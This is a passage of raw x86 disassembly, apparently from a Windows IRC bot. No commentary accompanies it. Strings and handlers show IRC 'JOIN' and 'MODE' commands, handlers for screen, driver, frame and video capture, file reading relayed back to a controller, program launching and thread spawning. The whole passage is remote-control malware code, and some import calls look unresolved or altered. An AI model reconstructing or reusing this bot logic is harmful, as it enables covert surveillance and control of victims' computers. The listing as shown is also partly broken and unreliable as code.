		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset dword_4143CC
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40884C


loc_40883A:				; CODE XREF: sub_401ACD+6D7Dj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408867
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_40883A
; ---------------------------------------------------------------------------


loc_40884C:				; CODE XREF: sub_401ACD+6D6Bj
		nop
		call	near ptr 2680F9Dh
		push	eax
		push	offset unk_42A530


loc_408858:				; CODE XREF: sub_401ACD+6E8Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408867:				; CODE XREF: sub_401ACD+6D73j
					; sub_401ACD+6E6Ej
		cmp	[ebp+var_8], ebx
		jnz	loc_409631
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409629
; ---------------------------------------------------------------------------


loc_408887:				; CODE XREF: sub_401ACD+4A14j
					; sub_401ACD+4A2Bj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_42A504
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset dword_413B78
		push	ebx
		push	ebx
		nop
		call	near ptr 2680683h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40894B


loc_408935:				; CODE XREF: sub_401ACD+6E7Cj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408867
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_408935
; ---------------------------------------------------------------------------


loc_40894B:				; CODE XREF: sub_401ACD+6E66j
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset dword_42A4C8
		jmp	loc_408858
; ---------------------------------------------------------------------------


loc_40895C:				; CODE XREF: sub_401ACD+49E6j
					; sub_401ACD+49FDj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4C0
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408979:				; CODE XREF: sub_401ACD+6F17j
		test	eax, eax
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855


loc_408995:				; CODE XREF: sub_401ACD+7A56j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_4089C0:				; CODE XREF: sub_401ACD+49B8j
					; sub_401ACD+49CFj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A4AC
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408979
; ---------------------------------------------------------------------------


loc_4089E6:				; CODE XREF: sub_401ACD+498Aj
					; sub_401ACD+49A1j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409855
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_42A490


loc_408A4C:				; CODE XREF: sub_401ACD+700Aj
					; sub_401ACD+7079j ...
		call	sub_415221
		jmp	loc_404934
; ---------------------------------------------------------------------------


loc_408A56:				; CODE XREF: sub_401ACD+495Cj
					; sub_401ACD+4973j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A85
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A488
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A85:				; CODE XREF: sub_401ACD+6FA1j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42A4B8
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A46C
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408ADC:				; CODE XREF: sub_401ACD+492Ej
					; sub_401ACD+4945j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	esi
		push	offset dword_42A4B8
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43E59C[eax]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_42A450
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408B4B:				; CODE XREF: sub_401ACD+4900j
					; sub_401ACD+4917j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 0Ch
		push	esi
		push	offset unk_42A428
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_408B87:				; CODE XREF: sub_401ACD+48D2j
					; sub_401ACD+48E9j
		push	[ebp+var_8C]
		push	offset dword_42D028
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_42A41C
		push	[ebp+arg_4]
		call	sub_409A2D
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2680646h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		push	offset dword_42A408
		call	sub_4151AD
		jmp	loc_403520
; ---------------------------------------------------------------------------


loc_408BEB:				; CODE XREF: sub_401ACD+48A4j
					; sub_401ACD+48BBj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AB3C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3EC
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408C58:				; CODE XREF: sub_401ACD+4876j
					; sub_401ACD+488Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409855
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A3CC
		jmp	loc_408A4C
; ---------------------------------------------------------------------------


loc_408CAD:				; CODE XREF: sub_401ACD+4848j
					; sub_401ACD+485Fj
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B5
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A3AC


loc_408CDC:				; CODE XREF: sub_401ACD+5853j
					; sub_401ACD+7B2Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_409610
; ---------------------------------------------------------------------------


loc_408CF0:				; CODE XREF: sub_401ACD+481Aj
					; sub_401ACD+4831j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E2
		jmp	loc_4040FD
; ---------------------------------------------------------------------------


loc_408D0A:				; CODE XREF: sub_401ACD+47DCj
					; sub_401ACD+47F1j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409855
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB2
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D9A
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A600
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42A384
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408D9A:				; CODE XREF: sub_401ACD+7270j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A354
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DB2:				; CODE XREF: sub_401ACD+725Bj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF7
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_42A338
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_408DFE:				; CODE XREF: sub_401ACD+47B2j
					; sub_401ACD+47C7j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E59
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E46
		push	edi
		call	sub_4153BD
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3F
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A304
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E59
; ---------------------------------------------------------------------------


loc_408E3F:				; CODE XREF: sub_401ACD+7359j
		push	offset unk_42A2D4
		jmp	short loc_408E4B
; ---------------------------------------------------------------------------


loc_408E46:				; CODE XREF: sub_401ACD+734Dj
		push	offset unk_42A298


loc_408E4B:				; CODE XREF: sub_401ACD+7377j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E59:				; CODE XREF: sub_401ACD+7342j
					; sub_401ACD+7370j
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE6
		xor	edi, edi


loc_408E6E:				; CODE XREF: sub_401ACD+7404j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CB684
		test	eax, eax
		jz	short loc_408ECD
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_42A268
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 28h


loc_408ECD:				; CODE XREF: sub_401ACD+73C2j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6E
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A240
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE6:				; CODE XREF: sub_401ACD+739Dj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F87
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F74
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F74
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F74
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F74
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F8
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A20C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F87
; ---------------------------------------------------------------------------


loc_408F6D:				; CODE XREF: sub_401ACD+7481j
		push	offset unk_42A1D8
		jmp	short loc_408F79
; ---------------------------------------------------------------------------


loc_408F74:				; CODE XREF: sub_401ACD+7437j
					; sub_401ACD+7440j ...
		push	offset unk_42A1A0


loc_408F79:				; CODE XREF: sub_401ACD+74A5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F87:				; CODE XREF: sub_401ACD+742Aj
					; sub_401ACD+749Ej
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40875A
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901F
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901F
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901F
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901F
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F1
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409015
		push	[ebp+arg_1C]
		push	offset unk_42A16C
		jmp	loc_40874B
; ---------------------------------------------------------------------------


loc_409015:				; CODE XREF: sub_401ACD+7539j
		push	offset unk_42A12C
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_40901F:				; CODE XREF: sub_401ACD+74DDj
					; sub_401ACD+74EBj ...
		push	offset unk_42A0EC
		jmp	loc_4090E3
; ---------------------------------------------------------------------------


loc_409029:				; CODE XREF: sub_401ACD+4042j
					; sub_401ACD+4057j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409099
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409054:				; CODE XREF: sub_401ACD+75B6j
		test	eax, eax
		jz	short loc_409085
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409054
; ---------------------------------------------------------------------------


loc_409085:				; CODE XREF: sub_401ACD+7589j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_42A0C8
		jmp	loc_409227
; ---------------------------------------------------------------------------


loc_409099:				; CODE XREF: sub_401ACD+756Fj
		push	[ebp+arg_10]
		push	offset unk_42A0A4
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4090A6:				; CODE XREF: sub_401ACD+4018j
					; sub_401ACD+402Dj
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409855
		push	offset asc_42A0A0 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A51
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F6
		push	offset unk_42A074


loc_4090E3:				; CODE XREF: sub_401ACD+754Dj
					; sub_401ACD+7557j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40875A
; ---------------------------------------------------------------------------


loc_4090F6:				; CODE XREF: sub_401ACD+760Fj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A05C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877B
; ---------------------------------------------------------------------------


loc_409110:				; CODE XREF: sub_401ACD+3FEEj
					; sub_401ACD+4003j
		cmp	[ebp+var_C], ebx
		jz	loc_409855
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		call	sub_418212
		test	eax, eax
		pop	ecx
		jnz	short loc_409140
		push	offset unk_42A03C
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409140:				; CODE XREF: sub_401ACD+766Aj
		push	offset dword_42A020
		jmp	short loc_4090E3
; ---------------------------------------------------------------------------


loc_409147:				; CODE XREF: sub_401ACD+3FC4j
					; sub_401ACD+3FD9j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409178
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409178:				; CODE XREF: sub_401ACD+7697j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A008
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB6
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40921B


loc_409205:				; CODE XREF: sub_401ACD+774Cj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406D00
		push	32h
		nop
		call	near ptr 2680646h
		jmp	short loc_409205
; ---------------------------------------------------------------------------


loc_40921B:				; CODE XREF: sub_401ACD+7736j
		call	near ptr 2680F9Dh
		nop
		push	eax
		push	offset unk_429FC8


loc_409227:				; CODE XREF: sub_401ACD+29CFj
					; sub_401ACD+75C7j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406D00
; ---------------------------------------------------------------------------


loc_40923B:				; CODE XREF: sub_401ACD+3F9Aj
					; sub_401ACD+3FAFj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96B
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_429FB0
		jmp	loc_40984E
; ---------------------------------------------------------------------------


loc_40925D:				; CODE XREF: sub_401ACD+3F70j
					; sub_401ACD+3F85j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429F8C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1B
		push	ebx
		push	ebx
		call	near ptr 2680683h
		nop
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_409326:				; CODE XREF: sub_401ACD+786Dj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BD
		push	32h
		call	near ptr 2680646h
		nop
		jmp	short loc_409326
; ---------------------------------------------------------------------------


loc_40933C:				; CODE XREF: sub_401ACD+3F46j
					; sub_401ACD+3F5Bj
		push	[ebp+arg_10]
		call	near ptr 2680836h
		nop
		test	eax, eax
		jz	short loc_409367
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429F70
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409445
; ---------------------------------------------------------------------------


loc_409367:				; CODE XREF: sub_401ACD+787Aj
		push	offset dword_42A778
		call	sub_41814D
		pop	ecx
		push	eax
		jmp	loc_403F48
; ---------------------------------------------------------------------------


loc_409378:				; CODE XREF: sub_401ACD+3F1Cj
					; sub_401ACD+3F31j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199CA
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409399
		push	offset unk_429F4C
		jmp	short loc_40939E
; ---------------------------------------------------------------------------


loc_409399:				; CODE XREF: sub_401ACD+78C3j
		push	offset unk_429F1C


loc_40939E:				; CODE XREF: sub_401ACD+78CAj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D03
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_406D03
; ---------------------------------------------------------------------------


loc_4093D7:				; CODE XREF: sub_401ACD+3EF2j
					; sub_401ACD+3F07j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BD
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FD
		push	offset unk_429EFC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4093FD:				; CODE XREF: sub_401ACD+7924j
		push	offset unk_429ECC
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_409407:				; CODE XREF: sub_401ACD+3EC8j
					; sub_401ACD+3EDDj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944D
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, ebx
		jz	short loc_409468
		push	dword ptr [eax]


loc_409433:				; CODE XREF: sub_401ACD+7999j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429EAC
		push	eax
		call	sub_41B886


loc_409445:				; CODE XREF: sub_401ACD+7895j
		add	esp, 10h
		jmp	loc_406CDF
; ---------------------------------------------------------------------------


loc_40944D:				; CODE XREF: sub_401ACD+794Dj
		push	esi
		call	dword_4CB6D8
		cmp	eax, ebx
		jz	short loc_409468
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB6E0
		push	eax
		jmp	short loc_409433
; ---------------------------------------------------------------------------


loc_409468:				; CODE XREF: sub_401ACD+7962j
					; sub_401ACD+7989j
		push	offset unk_429E84
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_409472:				; CODE XREF: sub_401ACD+3E9Ej
					; sub_401ACD+3EB3j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429E5C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_40948F:				; CODE XREF: sub_401ACD+3E74j
					; sub_401ACD+3E89j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB5C0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B3
		push	offset unk_429E3C
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094B3:				; CODE XREF: sub_401ACD+79DAj
		push	offset unk_429E18
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_4094BD:				; CODE XREF: sub_401ACD+3E4Aj
					; sub_401ACD+3E5Fj
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_429DF0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_4094D6:				; CODE XREF: sub_401ACD+3E20j
					; sub_401ACD+3E35j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409855
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409855
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB58
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408995
; ---------------------------------------------------------------------------


loc_409528:				; CODE XREF: sub_401ACD+3DF6j
					; sub_401ACD+3E0Bj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
